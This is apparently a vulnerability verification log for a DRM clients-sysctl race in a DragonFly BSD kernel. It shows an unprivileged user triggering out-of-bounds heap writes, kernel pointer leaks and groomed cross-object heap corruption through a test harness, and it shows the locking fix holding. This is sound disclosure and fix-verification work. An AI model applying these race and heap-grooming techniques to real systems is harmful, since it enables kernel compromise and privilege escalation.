DF-5059 / run.log
# DF-5059 -- decisive verification run (DragonFly 6.5-DEVELOPMENT guest,
# stock X86_64_GENERIC kernel + kldloaded drm.ko + clirace.ko harness).
# Every command below ran via dfbsd-qemu/vm.sh run_root / run_user (ssh).
$ uname -a
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64
$ sysctl hw.ncpu
hw.ncpu: 6
$ kldload /root/clirace/clirace.ko && kldstat | grep clirace
6 1 0xffffffff831dd000 3000 clirace.ko
(dmesg) CLIRACE: loaded; sizeof(struct drm_file)=544 (drm_clients_info elem size)
===== S1: sync window, shadow proof (deterministic OOB write) =====
# root: sysctl hw.clirace.mode=1 n0=4 m=2 shadow=32 fixmode=0 groom=0
# root: sysctl hw.clirace.go=1
(dmesg) CLIRACE: resync_len: list=4 cur_len=4
(dmesg) CLIRACE: [!!] OOB WRITE copies=6 counted=4 (+2 elems x 544dB) past kmalloc'd array; elem[4] w0=0000000000000000 w1=0000000000000000 w2=6d61000200009c42 w3=fffff801179e7ed8 pid=40002 magic=0x6d610002 auth=0
-> the copy walk (bounded by the LIST, not by privcount) wrote 2 x 544
bytes past the kmalloc(4*544) array; content = live drm_file copies
including a kernel-heap pointer (w3) and attacker-recognizable
pid/magic fields.
===== S4: same interleaving with the FIX (filelist_mutex held) =====
# root: sysctl hw.clirace.fixmode=1; sysctl hw.clirace.go=1
(dmesg) CLIRACE: resync_len: list=4 cur_len=4
(dmesg) CLIRACE: fixmode: copies=4 == counted=4 (churn blocked=1) -- IN BOUNDS
-> holding filelist_mutex across both walks serializes the mutator
(churn blocked=1, exactly like drm_open/drm_close would be) and the
walk stays in bounds. (Behavioral proof of the fix locking pattern
with the real lockmgr locks; compile proof: fix_build.log.)
===== S3a: unprivileged deterministic trigger (user maxx, uid=1001) =====
$ run_user: for i in 1 2 3; do sysctl -n hw.clirace.clients; done
clients pass: copies=6 counted=4 <-- OOB WRITE
clients pass: copies=6 counted=4 <-- OOB WRITE
clients pass: copies=6 counted=4 <-- OOB WRITE
-> a completely unprivileged user reading the clients sysctl fires the
overflow on EVERY read while another process opens/closes the device
(modeled by the churn thread executing drm_file.c:514-516 verbatim).
===== S3b: organic race, unprivileged (user maxx, 100k reads) =====
# root: sysctl hw.clirace.mode=2 m=4 orgcap=24 shadow=24
$ run_user: time /tmp/race_clients 100000
race_clients: 100000/100000 passes as uid=1001
sizeof(struct drm_file)=544
mode=2 n0=4 m=4 shadow=24 fixmode=0 groom=0 orgcap=24
rounds_total=100008 rounds_oob=138 oob_max_elems=4
last_copies=4 last_counted=4
oob_word0=0000000000000001 0000000000000000 6d61000300009c43 ffffffff831ded20
churn: adds=12320014 dels=12320000 blocks=1 cur_len=4
guards: sprayed=0 damaged_check=0 corrupted=0
3.07 real 0.07 user 3.00 sys
-> with NO harness-forced interleaving, the plain read-vs-open/close race
landed 138 times in 100000 unprivileged reads (~1/725); each hit wrote
up to 4 x 544 = 2176 bytes past the allocation. oob_word0 shows a
kernel text/module pointer (ffffffff831ded20 = &fdev.filelist inside
clirace.ko's mapping) leaking through the copied drm_file.
(Across boots the organic hit count varied: 7, 64, 138 per 100k.)
===== S2: groomed guards -- real cross-object heap corruption =====
# root: sysctl hw.clirace.mode=1 n0=4 m=2 shadow=0 groom=1; sysctl go=1
(dmesg) CLIRACE: resync_len: list=4 cur_len=4
(dmesg) CLIRACE: guard hole punched at 8 (2176 bytes)
(dmesg) CLIRACE: [!!] OOB WRITE copies=6 counted=4 (+2 elems x 544dB) past kmalloc'd array; elem[4] w0=0000000000000000 w1=0000000000000000 w2=6d61000200009c42 w3=fffff801179e7ed8 pid=40002 magic=0x6d610002 auth=0
(dmesg) CLIRACE: [!!] GUARD DAMAGE (cross-object heap corruption):
(dmesg) CLIRACE: guard[9] word 0: expected a5a5000900000000 got 0000000000000000
(dmesg) CLIRACE: guard[9] word 1: 0000000000000000
(dmesg) CLIRACE: guard[9] word 2: 0000000000000000
(dmesg) CLIRACE: guard[9] word 3: 0000000000000000
(dmesg) CLIRACE: guard[9] word 4: 0000000000000000
(dmesg) CLIRACE: guard[9] word 5: 0000000000000000
(dmesg) CLIRACE: guard[9] word 6: 0000000000000000
(dmesg) CLIRACE: guard[9] word 7: 0000000000000000
(dmesg) CLIRACE: groom run complete: 1 damaged guard(s), copies=6 counted=4
$ sysctl -n hw.clirace.status (tail)
oob_word0=0000000000000000 0000000000000000 6d61000200009c42 fffff801179e7ed8
churn: adds=40000016 dels=40000000 blocks=1 cur_len=4
guards: sprayed=1 damaged_check=1 corrupted=1
-> the EXACT privcount-sized allocation (2176 bytes, exactly what
drm_sysctl.c:274 kmallocs) was placed into a punched hole between
sprayed same-size-class M_DRM neighbors; the +2-element overrun
clobbered the adjacent kernel heap object (guard[9]) with the copied
drm_file contents (first words are the zeroed bitfield area; pid/
magic/kernel pointers sit at +232/+236/+~248 of each spilled element).
Guest survived because the victim was a harness guard; on a real
system the victim is an arbitrary adjacent kernel object.